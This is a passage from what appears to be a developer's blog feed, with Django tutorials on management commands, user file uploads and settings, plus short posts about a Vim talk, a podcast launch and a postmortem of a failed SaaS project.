Other smaller features exist within the Command class too. Perhaps you only want your command to run if your project has satisified certain pre-conditions. Commands can use the requires_migration_checks or requires_system_checks to ensure that the system is in the correct state before running.

I hope it's clear that the goal of the Command class is to help you with common actions that many commands will need to use. There is a small API to learn, but the system is a boon to making scripts quickly.

Command By Example

Let's consider a powerful use case to see a command in action. When you initially start a Django app, all of your app's interaction will probably be through web pages. After all, you were trying to use Django to make a web app, right? What do you when you need to do something that doesn't involve a browser?

This kind of work for your app is often considered background work. Background work is a pretty deep topic and will often involve special background task software like Celery. When your app is an early stage, Celery or similar software can be overkill and far more than you need.

A simpler alternative for some background tasks could be a command paired with a scheduling tool like cron.

On one of my projects, I offer free trials for accounts. After 60 days, the free trial ends and users either need to pay for the service or discontinue using it. By using a command and pairing it with the Heroku Scheduler, I can move accounts from their trial status to expired with a daily check.

The following code is very close to what my expire_trials command looks like in my app. I've simplified things a bit, so that you can ignore the details that are specific to my service.

# application/management/commands/expire_trials.py

import datetime

from django.core.management.base import BaseCommand
from django.utils import timezone

from application.models import Account


class Command(BaseCommand):
    help = "Expire any accounts that are TRIALING beyond the trial days limit"

    def handle(self, *args, **options):
        self.stdout.write("Search for old trial accounts...")
        # Give an extra day to be gracious and avoid customer complaints.
        cutoff_days = 61
        trial_cutoff = timezone.now() - datetime.timedelta(days=cutoff_days)
        expired_trials = Account.objects.filter(
            status=Account.TRIALING, created__lt=trial_cutoff
        )
        count = expired_trials.update(status=Account.TRIAL_EXPIRED)
        self.stdout.write(f"Expired {count} trial(s)")

I configured the scheduler to run python manage.py expire_trials every day in the early morning. The command checks the current time and looks for Account records in the trialing state that were created before the cutoff time. From that query set, the affected accounts are set to the expired account state.

How can you test this command? There are a couple of approaches you can take when testing a command.

If you need to simulate calling the command with command line arguments, then you can use call_command from django.core.management. Since the example command doesn't require arguments, I didn't take that approach.

Generally, my preference is to create a command object and invoke the handle method directly. In my example above, you can see that the command uses self.stdout instead of calling print. Django does this so that you could check your output if desired.

Here is a test for this command:

# application/tests/test_commands.py

from io import StringIO

from application.models import Account
from application.tests.factories import AccountFactory

def test_expires_trials():
    """Old trials are marked as expired."""
    stdout = StringIO()
    account = AccountFactory(
        status=Account.TRIALING,
        created=timezone.now() - datetime.timedelta(days=65),
    )
    command = Command(stdout=stdout)

    command.handle()

    account.refresh_from_db()
    assert account.status == Account.TRIAL_EXPIRED
    assert "Expired 1 trial(s)" in stdout.getvalue()

In this test, I constructed a command instance and checked the account state after the command invocation. Also, observe that the StringIO instance is injected into the Command constructor. By building the command this way, checking the output becomes a very achievable task via the getvalue method.

Overall, this scheme of making a command and running it on a schedule avoids all the work of setting up a background worker process. I've been extremely satisfied with how this technique has worked for me, and I think it's a great pattern when your app doesn't have to do a lot of complex background processing.

Useful Commands

Django is full of useful commands that you can use for all kinds of purposes. Thus far in this series, we've discussed a bunch of them, including:

check - Checks that your project is in good shape.
collectstatic - Collects static files into a single directory.
createsuperuser - Creates a super user record.
makemigrations - Makes new migration files based on model changes.
migrate - Runs any unapplied migrations to your database.
runserver - Runs a development web server to check your app.
shell - Starts a Django shell that allows you to use Django code on the command line.
startapp - Makes a new Django app from a template.
startproject - Makes a new Django project from a template.
test - Executes tests that checks the validity of your app.

Here is a sampling of other commands that I find useful when working with Django projects.

`dbshell`

The dbshell command starts a different kind of shell. The shell is a database program that will connect to the same database that your Django app uses. This shell will vary based on your choice of database.

For instance, when using PostgreSQL, ./manage.py dbshell will start psql. From this shell, you can execute SQL statements directly to inspect the state of your database. I don't reach for this command often, but I find it very useful to connect to my database without having to remember database credentials.

`showmigrations`

The showmigrations command has a simple job. The command shows all the migrations for each Django app in your project. Next to each migration is an indicator of whether the migration is applied to your database.

Here is an example of the users app from one of my Django projects:

$ ./manage.py showmigrations users
users
 [X] 0001_initial
 [X] 0002_first_name_to_150_max
 [ ] 0003_profile

In my real project, I've applied all the migrations, but for this example, I'm showing the third migration as it would appear if the migration wasn't applied yet.

showmigrations is a good way to show the state of your database from Django's point of view.

`sqlmigrate`

The sqlmigrate command is very handy. The command will show you what SQL statements Django would run for an individual migration file.

Let's see an example. In Django 3.1, the team changed the AbstractUser model so that the first_name field could have a maximum length of 150 characters. Anyone using the AbstractUser model (which includes me) had to generate a migration to apply that change.

From my showmigrations output above, you can see that the second migration of my users app applied this particular framework change.

To see the Postgres SQL statements that made the change, I can run:

$ ./manage.py sqlmigrate users 0002
BEGIN;
--
-- Alter field first_name on user
--
ALTER TABLE "users_user" ALTER COLUMN "first_name" TYPE varchar(150);
COMMIT;

From this, we can tell that Postgres executed an ALTER COLUMN DDL statement to modify the length of the first_name field.

`squashmigrations`

Django migrations are a stack of separate database changes that produce a final desired schema state in your database. Over time, your Django apps will accumulate migration files, but those files have a shelf life. The squashmigrations command is designed to let you tidy up an app's set of migration files.

By running squashmigrations, you can condense an app's migrations into a significantly smaller number. The reduced migrations can accurately represent your database schema, and make it easier to reason about what changes happened in the app's history. As a side benefit, migration squashing can make Django's migration handling faster because Django gets to process fewer files.

Even More Useful Commands

The commands above come with the standard Django install. There's even more cool stuff out there to help with your project development!

A package that I often reach for with my Django projects is the django-extensions package. This package is fully of goodies, including some great optional commands that you can use!

A couple of my favorites include:

`shell_plus`

How often do you fire up a Django shell, import a model, then do some ORM queries to see the current state of the database? This is something I do quite often.

The shell_plus command is like the regular shell, but the command will import all your models automatically. For the five extra characters of _plus, you can save your fingers a lot of typing to import your models and get directly to whatever you needed the shell for.

The command will also import some commonly used Django functions and features like reverse, settings, timezone, and more.

`graph_models`

When I'm live streaming my side projects on my Twitch channel, I will often want to show the model relationships of my Django project. With the graph_models command, I can create an image of all my models and how those models relate to each other (using UML syntax). This is a great way to:

Remind myself of the data modeling choices in my apps.
Orient others to what I'm doing with my project.

This particular command requires some extra setup to install the right tools to create images, but the setup is manageable and the results are worth it.

Aside from shell_plus and graph_models, there are 20 other commands that you can use that may be very useful to you. You should definitely check out django-extensions.

Summary

In this article, you saw Django commands. We covered:

Why commands exist in the Django framework
How commands work
How to create your own custom command and how to test it
Useful commands from the core framework and the django-extensions package

In the next article, I'm going to describe internationalization. Internationalization is the process of making your app work for multiple spoken languages. You'll learn about:

Enabling internationalization for your app
Tools to help manage an internationalized app
Extra considerations like handling time formatting

Understand Django: User File Use

Matt Layman — Tue, 14 Sep 2021 14:47:30 +0000

In the last Understand Django article, you learned about Django settings and how to manage the configuration of your application. We also looked at tools to help you to be extra effective with settings.

With this article, we're going to dig into file management. Unlike the static files that you create for the app yourself, you may want your app to accept files from your users. Profile pictures are a good example of user files. You'll see how Django handles those kinds of files and how to deal with them safely.

Files In Django Models

As we saw in the models article, model fields in a Django model map to a column in a database table. When you want to access the data for a model instance, Django will pull the data from a database row.

Dealing with files in models is a bit different. While it is possible to store file data directly in a database, you won't see that happen often. The reason is that storing the data in the database usually affects the performance of the database, especially with a large number of files.

Instead, a common pattern in database usage is to store files separately from the database itself. Within the database, a column would store some kind of reference to the stored file like a path if files are stored on a filesystem. This is the approach that Django takes with files.

Now that you know that Django takes this approach, you can remember:

Django models hold the reference to a file (e.g., a file path)
The file data (i.e., the file itself) is stored somewhere else.

The "somewhere else" is called the "file storage," and we'll discuss storage in more depth in the next section.

Let's focus on the first item. What do you use to reference the files? Like all other model data, we'll use a field! Django includes two fields that help with file management:

FileField
ImageField

`FileField`

What if you want to store a profile picture? You might do something like this:

# application/models.py

from django.db import models

class Profile(models.Model):
    picture = models.FileField()
    # Other fields like a OneToOneKey to User ...

This is the most basic version of using file fields. We can use this model very directly with a Django shell to illustrate file management.

$ ./manage.py shell
>>> from django.core.files import File
>>> from application.models import Profile
>>> f = open('/Users/matt/path/to/image.png')
>>> profile = Profile()
>>> profile.picture.save('my-image.png', File(f))

In this example, I'm creating a profile instance manually. There are a few interesting notes:

The File class is an important wrapper that Django uses to make Python file objects (i.e., the value returned from open) work with the storage system.
The name image.png and my-image.png do not have to match. Django can store the content of image.png and use my-image.png as the name to reference within the storage system.
Saving the picture will automatically save the parent model instance by default.

More often than not, you won't need to use these interfaces directly because Django has form fields and other tools that manage much of this for you.

The current model example raises questions.

Where does that data go?
What if we have a name conflict between two files like "my-image.png"?
What happens if we try to save something that isn't an image?

If we make no changes to the current setup, the data will go into the root of the media file storage. This will lead to a mess if you're trying to track many file fields, but we can fix this with the upload_to field keyword argument. The simplest version of upload_to can take a string that storage will use as a directory prefix to scope content into a different area.

We're still left with potentially conflicting filenames. Thankfully, upload_to can also accept a callable that gives us a chance to fix that issue. Let's rework the example.

# application/models.py

import uuid
from pathlib import Path
from django.db import models

def profile_pic_path(instance, filename):
    path = Path(filename)
    return "profile_pics/{}{}".format(uuid.uuid4(), path.suffix)

class Profile(models.Model):
    picture = models.FileField(upload_to=profile_pic_path)
    # Other fields like a OneToOneKey to User ...

With this new version of the profile model, all of the images will be stored in a profile_pics path within the file storage.

This version also solves the duplicate filename problem. profile_pic_path ignores most of the original filename provided. If two users both happen to upload profile-pic.jpg, profile_pic_path will assign those images random IDs and ignore the profile-pic part of the filename.

You can see that the function calls uuid4(). These are effectively random IDs called Universally Unique Identifiers (UUID). UUIDs are likely something that you've seen before if you've worked with computers long enough, even if you didn't know their name. An example UUID would be 76ee4ae4-8659-4b50-a04f-e222df9a656a. In the storage area, you might find a file stored as:

profile_pics/76ee4ae4-8659-4b50-a04f-e222df9a656a.jpg

Each call to uuid4() is nearly certain to generate a unique value. Because of this feature, we can avoid filename conflicts by storing profile pictures with a unique name.

There's one more problem to fix in this example. How do we know that a user provided a valid image file? This is important to check, because we want to avoid storing malicious files that bad actors might upload to our apps.

This is where the ImageField has value. This field type contains extra validation logic that can check the content of the file to check that the file is, in fact, an image. To use ImageField, you'll need to install the Pillow library. Pillow is a package that let's Python work with image data.

Our final example looks like:

# application/models.py

import uuid
from pathlib import Path
from django.db import models

def profile_pic_path(instance, filename):
    path = Path(filename)
    return "profile_pics/{}{}".format(uuid.uuid4(), path.suffix)

class Profile(models.Model):
    picture = models.ImageField(upload_to=profile_pic_path)
    # Other fields like a OneToOneKey to User ...

Now that we've seen how Django will track files and images in your models, let's go deeper and try to understand the file storage features.

Files Under The Hood

We now know that models store references to files and not the files themselves. The file storage task is delegated to a special Python class in the system.

This Python class must implement a specific API. Why? Like so many other parts of Django, the storage class can be swapped out for a different class. We've seen this swappable pattern already with templates, databases, authentication, static files, and sessions.

The setting to control which type of file storage Django uses is DEFAULT_FILE_STORAGE. This setting is a Python module path string to the specific class.

So, what's the default? The default is a storage class that will store files locally on the server that runs the app. This is found at django.core.files.storage.FileSystemStorage. The storage class uses a couple of important settings: MEDIA_ROOT and MEDIA_URL.

The MEDIA_ROOT setting defines where Django should look for files in the filesystem.

MEDIA_ROOT = BASE_DIR / "media"

On my computer, with the above setting and the Profile class example from earlier, Django would store a file somewhere like:

# This path is split to be easier to read.
/Users/matt/example-app/ \
    media/profile_pics/76ee4ae4-8659-4b50-a04f-e222df9a656a.jpg

The other setting important to FileSystemStorage is MEDIA_URL. This settings will determine how files are accessed by browsers when Django is running. Let's say MEDIA_URL is:

MEDIA_URL = "/media/"

Our profile picture would have a URL like:

>>> from application.models import Profile
>>> profile = Profile.objects.last()
>>> profile.picture.url
'/media/profile_pics/76ee4ae4-8659-4b50-a04f-e222df9a656a.jpg'

This is the path that we can reference in templates. An image tag template fragment would like:

<img src="{{ profile.picture.url }}">

The Django documentation shows how file storage is a specific interface. FileSystemStorage happens to be included with Django and implements this interface for the simplest storage mechanism, the file system of your server's operating system.

We can also store files separately from the web server, and there are often really good reasons to do that. Up next, we'll look at another option for file storage aside from the provided default.

Recommended Package

What is a problem that can arise if you use the built-in FileSystemStorage to store files for your application? There are actually many possible problems! Here are a few:

The web server can have too many files and run out of disk space.
Users may upload malicious files to attempt to gain control of your server.
Users can upload large files that can cause a Denial of Service (DOS) attack and make your site inaccessible.

If you conclude that FileSystemStorage will not work for your app, is there another good option? Absolutely!

The most popular storage package to reach for is django-storages. django-storages includes a set of storage classes that can connect to a variety of cloud services. These cloud services are able to store an arbitrary number of files. With django-storages, your application can connect to services like:

Amazon Simple Storage Service (S3)
Google Cloud Storage
Digital Ocean Spaces
Or services you run separately like an SFTP server

These services would have additional cost beyond the cost of running your web server in the cloud, but the services usually have shockingly low rates and some offer a generous free tier for lower levels of data storage.

Why use django-storages?

You will never need to worry about disk space. The cloud services offer effectively unlimited storage space if you're willing to pay for it.
The files will be separated from your Django web server. This can eliminate some categories of security problems like a malicious file trying to execute arbitrary code on the web server.
Cloud storage can offer some caching benefits and be connected to Content Delivery Networks easily to optimize how files are served to your app's users.

As with all software choices, we have tradeoffs to consider when using different storage classes. On its face, django-storages seems to be nearly all positives. The benefits come with some setup complexity cost.

For instance, I like to use Amazon S3 for file storage. You can see from the Amazon S3 setup documentation that there is a fair amount of work to do beyond setting a different DEFAULT_FILE_STORAGE class. This setup includes setting AWS private keys, access controls, regions, buckets, and a handful of other important settings.

While the setup cost exists, you'll usually pay that cost at the beginning of a project and be mostly hands off after that.

django-storages is a pretty fantastic package, so if your project has a lot of files to manage, you should definitely consider using it as an alternative to the FileSystemStorage.

Summary

In this article, you learned about Django file management. We covered:

How Django models maintain references to files
How the files are managed in Django
A Python package that can store files in various cloud services

In the next article, let's explore commands. Commands are the code that you can run with ./manage.py. You'll learn about:

Built-in commands provided by Django
How to build custom commands
Extra commands from the community that are useful extensions for apps

Vim 101: Basics of the Vim Text Editor

Matt Layman — Mon, 09 Aug 2021 20:14:44 +0000

At the Frederick Open Source meetup this month, I talked about the Vim text editor. I covered a lot of the fundamentals, including a mental framework to help demystify why Vim is challenging to so many people. I also covered some tips that people can use to work toward Vim mastery.

The recording from the talk is available on YouTube. Check it out!

Django Riffs, a podcast for learning Django

Matt Layman — Mon, 02 Aug 2021 20:19:22 +0000

I've started a podcast! The podcast is called Django Riffs, and my goal is to help beginners learn how to use Django. You can find the show at djangoriffs.com or check iTunes, Spotify, or wherever you get podcasts.

Each episode of the podcast will be a topical exploration of one facet of the Django web framework. With many years of Django under my belt, I believe I have the experience to help beginners on their journey into learning Django. More experienced Djangonauts may benefit from a refresher on the subjects that we cover.

With this launch announcement, I am releasing the first two episodes.

The first episode, Get To Know Django gets us situated with where Django exists in the context of the internet and web application development.
In the second episode, Enter With URLs we start our exploration of Django's features by focusing on how Django sets up URLs.

These episodes take quite a while to produce because of the research, preparation, and production of each one. My aim is to get out a new show every couple of weeks if I can.

If you would like, you can follow the show on djangoriffs.com. Or follow me or the show on Twitter at @mblayman or @djangoriffs.

I hope you enjoy this. Please feel free to reach out to me with comments or feedback. My mission is to make a great Django learning experience for new developers and grow the Django community.

Serverless Python And Why You Should Try It Out

Matt Layman — Mon, 26 Jul 2021 20:14:13 +0000

At the January 2020 Python Frederick event, Patrick Pierson showed the group how you can use Python in different serverless services on AWS and GCP. He also showed a couple of serverless frameworks like Serverless and Chalice.

The recording from the talk is available on YouTube. Check it out!

Questions? Feel free to mention me on Twitter at @mblayman so I can try to respond to your question.

A Failed SaaS Postmortem

Matt Layman — Mon, 19 Jul 2021 20:18:22 +0000

My Software as a Service failed. After three years of running College Conductor, I'm shutting it down. The service failed for a host of reasons, and this article details what I learned from the whole experience. This is a chance for me to reflect, and give you some ideas of what pitfalls can happen if you're planning to build a SaaS.

The vision

Before getting to the lessons, let's look at my vision for the service so you have some context of what I was building.

College Conductor was a tool for college counselors, and, more specifically, for independent education consultants, which is a group that included my wife. Back when I started, my wife lamented about the quality of the online tools available to help her run her business.

She wanted a tool that could keep track of the students she worked with. Independent educational consultants focus on helping students find the right college or university for them. My wife observed that the existing tools for IECs (as the industry calls them) felt dated and clunky. She desired a tool that would keep track of all the schools that a student wanted to attend so she could manage college applications, deadlines, and all the other details that go with the job.

As a software engineer, I saw the chance to create something in a narrow vertical that could serve this industry.

The initial plan

My initial plan sounded simple: build an app that would track schools and admissions deadlines.

In the spirit of doing things that don't scale, I planned to get as many US colleges and universities as I could into a database. From there, I would operate as the Wizard of Oz and manually look up the admissions deadlines for a school whenever my wife added the school to a student's list. (Adding the school to a list would trigger a "back office" task to inform me that I had work to do.) To me, this felt like the scrappy kind of attitude that I needed to build something quickly.

For the technology side, I wanted to make choices that would be with me for the long haul (which you will see is ironic later). My short list of technology looked like:

Django to power an API.
Ember as the client app.
Semantic UI for the look and feel.
Ansible for handling deployment.

Ember and Semantic UI were new to me, but I figured that some technical risk on those choices would pay off in the long run. I was wrong, and we'll dig into why.

Not-so-boring technology choices

When I started, I wanted to follow the advice to choose boring technology. For me, this meant:

Deploy to a virtual machine.
Use a relational database like PostgreSQL.
Stick with a mature framework like Django.

In the boring technology article, the author, Dan McKinley, writes:

Let’s say every company gets about three innovation tokens. You can spend these however you want, but the supply is fixed for a long while.

In my mind, if I used Ember and Semantic UI, then I've only used two innovation tokens so I should still be in good shape to make rapid progress. Wow, was I wrong. So wrong.

Ember and Semantic were, indeed, innovation tokens that I spent. Ember wasn't new, but it was new to me, and it has a steep learning curve to be deeply productive with the framework. Semantic was on the newer side so I was learning its patterns as the UI toolkit evolved.

Where I was horribly wrong was in thinking that Ember and Semantic were the only pieces of new technology that I needed. The list was so much longer and included:

Datadog for infrastructure monitoring.
DigitalOcean for virtual machine hosting.
Django REST Framework for APIs.
Drip for marketing email campaigns.
Jekyll for the marketing site.
JSON API as a communication protocol.
Let's Encrypt for TLS certificates.
Mailgun for transactional emails.
Mixpanel for behavior analysis.
Rollbar for error tracking.
Segment for data aggregation.
Stripe for recurring payments.
wal-e for database backups.
webpack for JavaScript asset bundling.

For some of those tools, I had some experience, but the depth of my knowledge was lacking since I am a company of one. Theses were all technologies that I had to learn and configure myself. While I succeeded at integrating each of these things, I did so at the cost of a lot of time.

So, here's a first lesson:

When starting out, keep your technology stack to a bare minimum and follow the YAGNI (You Ain't Gonna Need It) principle.

The upgrade treadmill

After assembling all of these tools together, I finally felt like I had a base to work from. My project was moving and I began to build the critical features needed to make a minimum viable product. Then I fell into a trap.

The trap looks like this:

Time is ultra-limited because this is a nights and weekends side project.
Software moves fast and new versions of tools constantly release (this is especially true in the JavaScript ecosystem).
I'm eager to keep the software up-to-date to ensure that the large base I built stays "modern."

With these three conditions in place, I spent way too much time piddling with package upgrades. I'm guessing you can see how this might happen. I'd spend a long day working at my day job and doing a lot of software development there. Then I wouldn't have the energy to make real progress on my app, so I'd tell myself that upgrading one of the packages that was out-of-date was a good use of my time.

Wrong. Again, I was so wrong. I wasted so many nights updating small packages for zero benefit. To make the issue worse, some of these minor updates would break things (because SemVer is a lie). Upgrading these packages was a treadmill that got me nowhere. That brings me to lesson two:

Software package upgrades suck the wind out of your sail. Until you have a minimum viable product with customers, pick a package version and stick with it. Only upgrade when you have to.

Switching horses mid-race... twice!

Remember how I mentioned picking Semantic UI and Ember? Check out the College Conductor repo and you'll be hard pressed to find either of them.

At some point during development, I realized how hard I was fighting with my tool choices. Semantic UI wouldn't play nicely with Ember's build system, and the components and extensibility of Semantic were not working for me. This friction affected my ability to make UI elements that I needed for features.

I won't blame Semantic because it was more likely my deep inexperience with the toolkit that was the problem. With Semantic troubling me and me having do all the other parts of the system development too, I pulled the ripcord and switched to Bootstrap. I sacrificed more novel styling for a system I knew. And, guess what? I saw the immediate productivity boost from using a tool from my toolbox!

Eventually, I made a similar choice to remove Ember. I tried to use Ember for nearly two years. I read a large amount of the documentation, wrote articles about what I learned on my journey, and stayed up-to-date with all the EmberConf content and news coming out of that community. I really like Ember. So why would I cut it loose?

Development velocity

As a one person team, I had to develop the backend logic, database models, and everything that comes with backend development. I also had to develop the entire user interface. I discovered that creating a backend API and rich client side single page app (SPA) came with a ton of overhead.

My flow with Ember was like:

Figure out the data model for the next feature.
Create models in Django.
Create JSON APIs in Django.
Create models again on the client side with Ember Data.
Decide on the routes and controllers to finish the user interface for the feature.

Between step three and four, I would lose most of my motivation and jump back on the upgrade treadmill. As a team of one, it felt like drudgery to recreate models for a client side representation.

The decision to remove Ember was really tough. The sunk cost fallacy hit me hard. I delayed removing Ember for many months because I convinced myself that it would take a long time to redo all the work that I finished so far.

Then I removed it. What do you think happened? I removed so much extra stuff and simplified my technology stack so tremendously that I implemented all of my original features within two weeks. Two weeks of effort to replicate two years of previous development.

Does this mean that Ember is bad and you shouldn't use it? No!

Ember was a bad fit for me, at that time, with my level of experience with it, and no support from other team members. Also, I switched to using Django for the user interface with server side rendering, and I was extremely comfortable with that because I use Django daily in my day job.

Lesson three:

Use the tools that are already in your toolbox! You'll need all your extra brain capacity for solving the business problem.

Ignoring customer development

If you look back at the vision that I wanted for the project, you'll see that I hoped to make something useful for my wife. Up to this point, I've written about the technical failings of the project. This is an emblematic example of why the project failed. I didn't help my customers and was too focused on the technology.

At the start of the effort, I asked my wife questions about what she needed and what would help her and other educational consultants like her. She told me the things that she was looking for directly. But it took forever to have something tangible to show her.

If someone shows up to a restaurant, expresses what they want, then the chef takes four hours to prepare the meal, will that customer be happy? I think not.

I was the slow chef. All the time I invested in building the "right" thing was wasted because I didn't do customer development. I didn't produce the simplest version of the product that would provide value. It did not take long before I completely lost my wife's interest. To stick with the four hour meal analogy, my patient customer left after the meal wasn't ready in the first hour.

As developers and technologists, many of us enjoy steeping in the technology purely for the sake of it. There is so much to learn and so many ways to apply software that it is easy to lose yourself in that tinkering. While that's personally useful, especially if you need to grow your skills, staying in that space is not helping others.

So, what did I take away from that? That would be the next lesson:

Get your product to be something useful for others as fast as possible. Until you deliver something valuable, you only have a hobby.

Without serious interest from my first customer (and no other strong ties to her industry), I was missing a good voice to drive the product forward. Because she was disinterested, there was no external pressure on me to deliver something. My project got nowhere fast.

The end

If there is anything redeeming about College Conductor, it was as a teaching tool. I've done a lot of Django code for work, and I brought that same thoroughness to this project. After listening to an episode of The Changelog about live streaming software development on Twitch, I started to share my efforts on College Conductor live.

Over a year later, I have streamed nearly 40 lessons in an episodic format to teach people about Django and building real projects. My service may have had no real customers, but the techniques I apply to building things are very much the techniques that I use at work.

Where does that leave me?

I've learned a lot.
I've taught a lot.
College Conductor was a financial failure.
College Conductor was a successful teaching tool.

I hope you're able to learn a bit from my experience with building my first SaaS project.

For those jumping straight to the end, here are the lessons that I learned.

When starting out, keep your technology stack to a bare minimum and follow the YAGNI (You Ain't Gonna Need It) principle.
Software package upgrades suck the wind out of your sail. Until you have a minimum viable product with customers, pick a package version and stick with it. Only upgrade when you have to.
Use the tools that are already in your toolbox! You'll need all your extra brain capacity for solving the business problem.
Get your product to be something useful for others as fast as possible. Until you deliver something valuable, you only have a hobby.

If you want to watch me build my second SaaS, please join me on Twitch on Wednesdays at 9pm ET. Hopefully, I'll make fewer mistakes this time around.

If you have questions or enjoyed this article, please feel free to message me on Twitter at @mblayman or share if others might be interested too.

Understand Django: Making Sense Of Settings

Matt Layman — Thu, 15 Jul 2021 14:18:42 +0000

In the last Understand Django article, we looked at a storage concept in Django called sessions. Sessions help us answer questions like "How does Django know when a user is logged in?" or "Where can the framework store data for a visitor on your app?"

With this article, you'll learn about Django settings and how to manage the configuration of your application. We'll also look at tools to help you to be extra effective with settings.

How Is Django Configured?

To run properly, Django needs to be configured. We need to understand where this configuration comes from. Django has the ability to use default configuration values or values set by developers like yourself, but where does it get those from?

Early in the process of starting a Django application, Django will internally import the following:

from django.conf import settings

This settings import is a module level object created in django/conf/__init__.py. The settings object has attributes added to it from two primary sources.

The first source is a set of global default settings that come from the framework. These global settings are from django/conf/global_settings.py and provide a set of initial values for configuration that Django needs to operate.

The second source of configuration settings comes from user defined values. Django will accept a Python module and apply its module level attributes to the settings object. To find the user module, Django searches for a DJANGO_SETTINGS_MODULE environment variable.

Sidebar: Environment Variables

Environment variables are not a Django concept. When any program runs on a computer, the operating system makes certain data available to the running program. This set of data is called the program's "environment," and each piece of data in that set is an environment variable.

If you're starting Django from a terminal, you can view the environment variables that Django will receive from the operating system by running the env command on macOS or Linux, or the set command on Windows.

We can add our own environment variables to the environment with the export command on macOS or Linux, or the set command on Windows. Environment variables are typically named in all capital letters.

$ export HELLO=world

Now that we have a base understanding of environment variables, let's return to the DJANGO_SETTINGS_MODULE variable. The variable's value should be the location of a Python module containing any settings that a developer wants to change from Django's default values.

If you create a Django project with startproject and use project as the name, then you will find a generated file called project/settings.py in the output. When Django runs, you could explicitly instruct Django with:

$ export DJANGO_SETTINGS_MODULE=project.settings

Instead of supplying the file path, the DJANGO_SETTINGS_MODULE should be in a Python module dotted notation.

You may not actually need to set DJANGO_SETTINGS_MODULE explicitly. If you stick with the same settings file that is created by startproject, you can find a line in wsgi.py that looks like:

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings')

Because of this line, Django will attempt to read from project.settings (or whatever you named your project) without the need to explicitly set DJANGO_SETTINGS_MODULE.

Once Django reads the global settings and any user defined settings, we can get any configuration from the settings object via attribute access. This convention of keeping all configuration in the settings object is a convenient pattern that the framework, third party library ecosystem, and you can depend on.

$ ./manage.py shell
>>> from django.conf import settings
>>> settings.SECRET_KEY
'a secret to everybody'

The settings object is a shared item so it is generally thought to be a Really Bad Idea™ to edit and assign to the object directly. Keep your settings in your settings module!

That's the core of Django configuration. We're ready to focus in on the user defined settings and our responsibilities as Django app developers.

Settings Module Patterns

There are multiple ways to deal with settings modules and how to populate those modules with the appropriate values for different environments. Let's look at some popular patterns.

Multiple Modules Per Environment

A Django settings module is a Python module. Nothing is stopping us from using the full power of Python to configure that module the way we want.

Minimally, you will probably have at least two environments where your Django app runs:

On your local machine while developing
On the internet for your live site

We should know by now that setting DEBUG = True is a terrible idea for a live Django site, so how can we get the benefits of the debug mode without having DEBUG set to True in our module?

One technique is to use separate settings modules. With this strategy, you can pick which environment your Django app should run for by switching the DJANGO_SETTINGS_MODULE value to pick a different environment. You might have modules like:

project.settings.dev
project.settings.stage
project.settings.production

These examples would be for a local development environment on your laptop, a staging environment (which is a commonly used pattern for testing a site that is as similar to the live site as possible without being the live site), and a production environment. As a reminder from the deployment article, the software industry like to call the primary site for customers "production."

This strategy has certain challenges to consider. Should you replicate settings in each file or use some common module between them?

If you decide to replicate the settings across modules, you'll have the advantage that the settings module shows all of the settings in a single place for that environment. The disadvantage is that keeping the common settings the same could be a challenge if you forget to update one of the modules.

On the other hand, you could use a common module. The advantage to this form is that the common settings can be in a single location. The environment specific files only need to record the differences between the environments. The disadvantage is that it is harder to get a clear picture of all the settings of that environment.

If you decide to use a common module, this style is often implemented with a * import. I can probably count on one hand the number of places where I'm ok with a * import, and this is one of them. In most cases the Python community prefers explicit over implicit, and the idea extends to the treatment of imports. Explicit imports make it clear what a module is actually using. The * import is very implicit, and it makes it unclear what a module uses. For the case of a common settings module, a * import is actually positive because we want to use everything in the common module.

Let's make this more concrete. Assume that you have a project.settings.base module. This module would hold your common settings for your app. I'd recommend that you try to make your settings safe and secure by default. For instance, use DEBUG = False in the base settings and force other settings modules to opt-in to the more unsafe behavior.

For your local development environment on your laptop, you could use project.settings.dev. This settings module would look like:

# project/settings/dev.py

from project.settings.base import *

DEBUG = True

# Define any other settings that you want to override.
...

By using the * import in the dev.py file, all the settings from base.py are pulled into the module level scope. Where you want a setting to be different, you set the value in dev.py. When Django starts using DJANGO_SETTINGS_MODULE of project.settings.dev, all the values from base.py will be used via dev.py.

This scheme gives you control to define common things once, but there is still a big challenge with this. What do we do about settings that need to be kept secret (e.g., API keys)?

Don't commit secret data to your code repository! Adding secrets to your source control tool like Git is usually not a good idea. This is especially true if you have a public repository on GitHub. Think no one is paying attention to your repo? Think again! There are tools out there that scan every public commit made to GitHub. These tools are specifically looking for secret data to exploit.

If you can't safely add secrets to your code repo, where can we add them instead? You can use environment variables! Let's look at another scheme for managing settings with environment variables.

Settings Via Environment Variables

In Python, you can access environment variables through the os module. The module contains the environ attribute, which functions like a dictionary.

By using environment variables, your settings module can get configuration settings from the external environment that is running the Django app. This is a solid pattern because it can accomplish two things:

Secret data can be kept out of your code
Configuration differences between environments can be managed by changing environment variable values

Here's an example of secret data management:

# project/settings.py

import os

SECRET_KEY = os.environ['SECRET_KEY']

...

Django needs a secret key for a variety of safe hashing purposes. There is a warning in the default startproject output that reads:

# SECURITY WARNING: keep the secret key used in production secret!

By moving the secret key value to an environment variable that happens to have a matching name of SECRET_KEY, we won't be committing the value to source control for some nefarious actor to discover.

This pattern works really well for secrets, but it can also work well for any configuration that we want to vary between environments.

For instance, on one of my projects, I use the excellent Anymail package to send emails via an email service provider (of the ESPs, I happen to use SendGrid). When I'm working with my development environment, I don't want to send real email. Because of that, I use an environment variable to set Django's EMAIL_BACKEND setting. This let's me switch between the Anymail backend and Django's built-in django.core.mail.backends.console.EmailBackend that prints emails to the terminal instead.

If I did this email configuration with os.environ, it would look like:

# project/settings.py

import os

EMAIL_BACKEND = os.environ.get(
    'EMAIL_BACKEND', "anymail.backends.sendgrid.EmailBackend")

...

I prefer to make my default settings closer to the live site context. This not only leads to safer behavior (because I have to explicitly opt-out of safer settings like switching to DEBUG = False), but it also means that my live site has less to configure. That's good because there are fewer chances to make configuration mistakes on the site that matters most: the one where my customers are.

We need to be aware of a big gotcha with using environment variables. Environment variables are only available as a str type. This is something to be aware because there will be times when you want a boolean settings value or some other type of data. In a situation where you need a different type, you have to coerce a str into the type you need. In other words, don't forget that every string except the empty string is truthy in Python:

>>> not_false = "False"
>>> bool(not_false)
True

In the next section, we will see tools that help alleviate this typing problem.

Note: As you learn more about settings, you will probably encounter advice that says to avoid using environment variables. This is well intentioned advice that highlights that there is some risk with using environment variables. With this kind of advice, you may read a recommendation for secrets management tools like HashiCorp Vault. These are good tools, but consider them a more advanced topic. In my opinion, using environment variables for secrets management is a reasonably low risk storage mechanism.

Settings Management Tools

We can focus on two categories of tools that can help you manage your settings in Django: built-in tools and third party libraries.

